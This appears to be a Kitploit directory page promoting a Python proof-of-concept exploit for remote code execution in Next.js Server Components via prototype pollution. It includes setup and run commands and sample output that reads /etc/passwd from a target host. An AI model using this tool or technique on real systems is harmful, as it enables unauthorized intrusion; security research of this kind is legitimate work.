Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-PoC — React2Shell (CVE-2025-66478): A Python-based Proof of Concept for Critical Remote Code Execution (RCE) in Next.js Server Components. Features an interactive CLI, custom payload injection, and cleaner output formatting. For educational research only. | Kitploit
Tools/GitHubGitHub/ravindurathnayaka/cve-2025-55182-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubravindurathnayaka/cve-2025-55182-poc

CVE-2025-55182-PoC

React2Shell (CVE-2025-66478): A Python-based Proof of Concept for Critical Remote Code Execution (RCE) in Next.js Server Components. Features an interactive CLI, custom payload injection, and cleaner output formatting. For educational research only.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
428 months agoNot yet reviewed
Share

⚡ React2Shell Exploit PoC (CVE-2025-66478)

Next.js Remote Code Execution (RCE) via Prototype Pollution in Server Components

Python Exploit Type CVE

🕵️‍♂️ Overview

This repository contains a Proof of Concept (PoC) for CVE-2025-66478 (also referenced as CVE-2025-55182 in some contexts), a critical vulnerability affecting Next.js applications that use specific versions of React Server Components (RSC).

By manipulating the serialization process of RSCs, an unauthenticated attacker can inject a malicious payload via prototype pollution (__proto__:then). This can lead to execution of arbitrary system commands on the server through child_process.execSync.

Developed by: ArkhamKnight47

🚀 Features

  • Interactive CLI — Simple prompts for target URL and command.
  • Payload Injection — Automatically builds the required multipart/form-data payload.
  • Smart Output Cleaning — Parses raw JSON responses and displays only clean command output (e.g., strips 1:E{"digest":...}).
  • Matrix Theme — Green-on-black aesthetic with ASCII art banner.
  • Cross-Platform — Handles newline differences (\n vs \r\n) for clean output on Windows and Linux targets.

🛠️ Installation & Usage

Prerequisites

  • Python 3.x
  • requests library

Setup

root@kitploit:~
# Clone the repository
git clone https://github.com/RavinduRathnayaka/CVE-2025-55182-PoC.git
cd CVE-2025-55182-PoC

# Install dependencies
pip install requests

Running the Exploit

root@kitploit:~
python CVE-2025-66478.py

You will be prompted for:

  • Target URL — e.g. http://localhost:3000
  • Command — e.g. id, whoami, cat /etc/passwd

📌 Example Output

root@kitploit:~
[?] TARGET URL > http://192.168.1.5:3000
[?] COMMAND    > cat /etc/passwd

[*] EXECUTING EXPLOIT...
[+] PAYLOAD SUCCESSFUL. OUTPUT BELOW:
============================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
============================================================

⚠️ Disclaimer

This tool is provided for educational and security research purposes only.

The author (ArkhamKnight47) takes no responsibility for misuse of this code. Testing this exploit against systems you do not own or do not have explicit permission to test is illegal and unethical.

  • ❌ Do not use against production systems without authorization
  • ✅ Do use to validate vulnerabilities in your own applications
  • ✅ Do use to learn about RSC serialization and prototype pollution risks

Use responsibly. Learn ethically. Secure your stack.

Download Tool